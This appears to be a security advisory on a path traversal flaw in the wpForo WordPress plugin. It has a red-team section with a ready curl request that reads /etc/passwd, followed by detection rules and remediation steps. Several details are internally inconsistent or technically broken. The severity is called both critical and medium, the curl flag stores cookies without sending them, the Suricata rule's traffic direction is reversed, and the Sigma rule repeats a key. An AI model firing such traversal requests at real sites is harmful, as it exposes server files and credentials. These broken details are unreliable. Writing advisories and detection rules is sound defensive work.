CVE-2025-0764

Executive Summary

CVE-2025-0764 is a critical arbitrary file read vulnerability discovered in the wpForo Forum plugin for WordPress, affecting all versions up to and including 2.4.1. This vulnerability resides in the update method of the Members class, where insufficient input validation allows authenticated attackers with subscriber-level privileges or higher to read arbitrary files on the server. The vulnerability is classified as a Path Traversal (CWE-22) issue, with a CVSS score of 6.5 (Medium). As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

WordPress Ecosystem Context

This vulnerability is specific to the wpForo Forum plugin, a popular WordPress plugin for building community forums. It is not related to Apache, Nginx, or any other web server software. The attack surface is limited to authenticated users, but the low privilege requirement (subscriber-level) makes it a potential vector for privilege escalation or data exfiltration.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires subscriber-level authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Arbitrary file read can expose sensitive data.
• Integrity (I): None (N) – No file modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the ability to read arbitrary files (e.g., wp-config.php, database credentials) elevates the risk in real-world scenarios.

Deep Dive & Mechanics

The vulnerability exists in the update method of the Members class within the wpForo plugin. This method is responsible for updating user profile data. The flaw lies in how the plugin handles file paths during avatar or attachment uploads. Specifically, the update method does not properly sanitize user-supplied input used to construct file paths, allowing an attacker to traverse directories using ../ sequences.

Attack Flow:

1. An authenticated user (subscriber or higher) sends a crafted POST request to the wpForo AJAX endpoint.
2. The request includes a parameter (e.g., avatar_url) containing path traversal sequences like ../../../../etc/passwd.
3. The plugin’s update method passes this input directly to file reading functions without validation.
4. The server reads the specified file and returns its contents in the response.

Root Cause: The update method uses file_get_contents() or similar PHP functions with user-controlled input, lacking proper checks for allowed directories or file types.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (wpForo <= 2.4.1):

// In class Members, method update()
public function update($args) {
    $avatar_url = $args['avatar_url'];
    $avatar_data = file_get_contents($avatar_url); // No validation
    // ... process avatar
}

Patched Code (Hypothetical):

public function update($args) {
    $avatar_url = $args['avatar_url'];
    // Validate path is within allowed directory
    $allowed_dir = WP_CONTENT_DIR . '/uploads/wpforo/avatars/';
    $real_path = realpath($avatar_url);
    if (strpos($real_path, $allowed_dir) !== 0) {
        wp_die('Invalid file path.');
    }
    $avatar_data = file_get_contents($real_path);
    // ... process avatar
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with wpForo plugin version <= 2.4.1.
• Valid user account with subscriber role or higher.
• AJAX endpoint /wp-admin/admin-ajax.php accessible.

Exploit Steps:

1. Log in as a subscriber.
2. Craft a POST request to admin-ajax.php with action wpforo_member_update and parameter avatar_url set to ../../../../etc/passwd.
3. Send the request and capture the response containing the file contents.

Example cURL Command:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -c cookies.txt \
  -d "action=wpforo_member_update&avatar_url=../../../../etc/passwd"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to admin-ajax.php with action=wpforo_member_update and suspicious avatar_url parameters containing ../ or absolute paths.
• Alert on file read attempts targeting sensitive files like /etc/passwd, wp-config.php, or .env.

Defense:

• Apply virtual patching via Web Application Firewall (WAF) rules to block path traversal patterns.
• Disable the wpForo plugin until an official patch is released.
• Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=wpforo_member_update.
  • Parameters containing ../, ..\\, or absolute paths like /etc/.
  • Response bodies containing file contents (e.g., root:x:0:0:).

• File System IOCs:

  • Unexpected access to /etc/passwd, wp-config.php, or other sensitive files.
  • Log entries showing file read operations outside allowed directories.

• Log IOCs:

  • WordPress debug logs showing file_get_contents() calls with suspicious paths.
  • Web server access logs with admin-ajax.php requests from authenticated users.

Detection Engineering

YARA Rule

rule CVE_2025_0764_wpForo_FileRead {
    meta:
        description = "Detects attempts to exploit CVE-2025-0764 in wpForo plugin"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-0764"
    strings:
        $s1 = "wpforo_member_update" ascii wide nocase
        $s2 = "avatar_url" ascii wide nocase
        $s3 = "../" ascii wide
        $s4 = "..\\" ascii wide
        $s5 = "/etc/" ascii wide nocase
        $s6 = "wp-config.php" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-0764 wpForo Arbitrary File Read Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in wpForo plugin's member update function
author: Valters IT
date: 2025-02-20
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wpforo_member_update'
        cs-uri-query|contains: 'avatar_url='
    path_traversal:
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '/etc/'
            - 'wp-config.php'
    condition: selection and path_traversal
falsepositives:
    - Legitimate use of relative paths in avatar URLs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0764 wpForo Arbitrary File Read Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wpforo_member_update"; http_client_body;
    content:"avatar_url="; http_client_body;
    pcre:"/(\.\.\/|\.\.\\|\/etc\/|wp-config\.php)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-0764;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the wpForo plugin until an official patch is released.
2. Apply virtual patching using WAF rules to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., chmod 600 wp-config.php).

Long-term Fix:

• Monitor the wpForo plugin repository for an official update.
• Implement input validation and sanitization for all file path parameters.
• Use realpath() and strpos() to ensure file paths are within allowed directories.

Workaround:

• If disabling the plugin is not possible, modify the Members class to add path validation (see patched code example above).

Report generated by Valters IT DevSecOps & CTI Division
Signature: Valters IT